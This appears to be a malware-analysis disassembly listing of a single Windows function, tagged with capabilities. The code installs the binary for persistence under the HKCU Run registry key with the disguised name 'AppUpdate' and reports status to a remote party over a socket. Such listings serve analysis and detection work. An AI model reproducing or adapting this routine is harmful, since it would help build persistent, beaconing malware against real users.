Function at 0x401650
Capabilities:
Persist via run registry key
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x244
mov dword [ebp - 0x9c], 0xa727245
mov dword [ebp - 0x98], 0
lea edx, [ebp - 0x94]
mov eax, 0
mov ecx, 0x1e
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x11c], 0xa4b4f
lea edx, [ebp - 0x118]
mov eax, 0
mov ecx, 0x1f
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0xc], 0
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x220]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40170b
mov eax, dword [0x40c03c]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], pe_nt_image_headers32
lea eax, [ebp - 0x9c]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WSOCK32.DLL_send]
call eax
sub esp, 0x10
mov eax, 0xffffffff
jmp 0x401906
mov dword [esp], str.Advapi32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40175d
mov eax, dword [0x40c03c]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], pe_nt_image_headers32
lea eax, [ebp - 0x9c]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WSOCK32.DLL_send]
call eax
sub esp, 0x10
mov eax, 0xffffffff
jmp 0x401906
mov dword [esp + 4], str.RegOpenKeyA
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x14], eax
mov dword [esp + 4], str.RegSetValueExA
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x14], 0
je 0x40179f
cmp dword [ebp - 0x18], 0
jne 0x4017d7
mov eax, dword [0x40c03c]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], pe_nt_image_headers32
lea eax, [ebp - 0x9c]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WSOCK32.DLL_send]
call eax
sub esp, 0x10
mov eax, 0xffffffff
jmp 0x401906
lea eax, [ebp - 0x224]
mov dword [esp + 8], eax
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
mov eax, dword [ebp - 0x14]
call eax
sub esp, 0xc
test eax, eax
je 0x401834
mov eax, dword [0x40c03c]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], pe_nt_image_headers32
lea eax, [ebp - 0x9c]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WSOCK32.DLL_send]
call eax
sub esp, 0x10
mov eax, 0xffffffff
jmp 0x401906
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x224]
mov edx, dword [ebp - 0x1c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x220]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AppUpdate
mov dword [esp], eax
mov eax, dword [ebp - 0x18]
call eax
sub esp, 0x18
test eax, eax
je 0x4018c0
mov eax, dword [ebp - 0x224]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov eax, dword [0x40c03c]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], pe_nt_image_headers32
lea eax, [ebp - 0x9c]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WSOCK32.DLL_send]
call eax
sub esp, 0x10
mov eax, 0xffffffff
jmp 0x401906
mov eax, dword [ebp - 0x224]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov eax, dword [0x40c03c]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], pe_nt_image_headers32
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WSOCK32.DLL_send]
call eax
sub esp, 0x10
mov eax, 0
mov edi, dword [ebp - 4]
leave
ret